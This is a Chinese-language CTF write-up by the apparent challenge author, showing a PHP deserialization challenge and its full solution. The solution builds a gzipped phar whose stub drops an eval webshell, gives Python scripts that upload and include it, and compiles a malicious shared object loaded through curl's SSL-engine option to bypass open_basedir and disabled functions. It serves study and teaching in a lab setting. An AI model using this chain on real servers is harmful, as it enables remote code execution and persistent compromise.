法尔plus wp

考点是phar rce + 最新版绕过open_basedir的方法

<?php
highlight_file(__FILE__);function waf($data){if (is_array($data)){die("nonono arrays");}if (preg_match('/<\?|__HALT_COMPILER|get|Coral|Nimbus|Zephyr|Acheron|ctor|payload|php|filter|base64|rot13|read|data/i', $data)) {die("You can't do");}
}class ddd{public $pivot;public function __set($k, $value) {$k = $this->pivot->ctor;echo new $k($value);}
}class ccc{public $handle;public $ctor;public function __destruct() {return $this->handle();}public function __call($name, $arg){$arg[1] = $this->handle->$name;}
}class bbb{public $target;public $payload;public function __get($prop){$this->target->$prop = $this->payload;}
}class aaa {public $mode;public function __destruct(){$data = $_POST[0];if ($this->mode == 'w') {waf($data);echo $data;$filename = "/var/www/html/".md5(rand()).".phar";file_put_contents($filename, $data);echo $filename;} else if ($this->mode == 'r') {waf($data);$f = include($data);if($f){echo "yesyesyes";}else{echo "You can look at the others";}}}
}if(strlen($_POST[1]) < 52) {$a = unserialize($_POST[1]);
}
else{echo "too long!!";
}?>

include邂逅phar
看这篇文章讲了底层逻辑
当include邂逅phar——DeadsecCTF2025 baby-web – fushulingのblog
最后的结论就是，比如我们生成了一个phar文件，然后把他打包成gz文件，当我们include这个gz文件时，php会默认把这个gz文件解压回phar进行解析
那么我们只要包含关键字就能直接rce
可是这里我把open_basedir还有一些system的指令全都ban掉了基本上是不可能命令执行成功的考点就算最新版本的绕过方法 之前有些我们这里写个马进去

<?php class TEST{ } $a=new TEST(); @unlink("shell.phar"); $phar = new Phar("shell.phar"); $phar->startBuffering(); $phar->setMetadata($a); $stub="<?php \$content = '<?php @eval(\$_POST[\"cmd\"]); ?>'; file_put_contents('/var/www/html/4.php', \$content);__HALT_COMPILER(); ?>"; $phar -> setStub($stub); $phar->addFromString("1.txt", "6666"); $phar->stopBuffering(); ?>

然后gz压缩

gzip -c shell.phar > shell.phar.gz

接下来就算传文件上去这里用python

import requests
url='http://172.18.131.0:8888/1.php'
with open('shell.phar2.gz','rb') as file:f=file.read()
data={"0":f,"1":"O:3:\"aaa\":1:{s:4:\"mode\";s:1:\"w\";}"}
response=requests.post(url=url,data=data)
print(response.text)

再去做包含

import requests
url='http://172.18.131.0:8888/1.php'
bbb='/var/www/html/a388df223ff2ac5e539a896f5dc0be79.phar'
data={"0":bbb,"1":"O:3:\"aaa\":1:{s:4:\"mode\";s:1:\"r\";}"}
response=requests.post(url=url,data=data)
print(response.text)

成功写入木马
怕他家觉得自己的马传上去没用，我还贴心的给了phpinfo
发现禁用sqlite3那么就用curl
所以我们需要编写一个恶意的 so 文件：

#include <stdlib.h>__attribute__((constructor))
static void rce_init(void){system("env >/tmp/pro");
}

编译成 so ：

g++ -fPIC -shared -o evil.so 1.cpp

然后通过加载 so 来rce:

$ch = curl_init();
curl_setopt($ch, CURLOPT_SSLENGINE,"/tmp/evil.so");
$data = curl_exec($ch);

最后一点感想，很荣幸刚加入V&N就能参与这一次出题，收获了很多，题目不是很难，师傅们应该也打得很尽心，希望能和V&N一起进步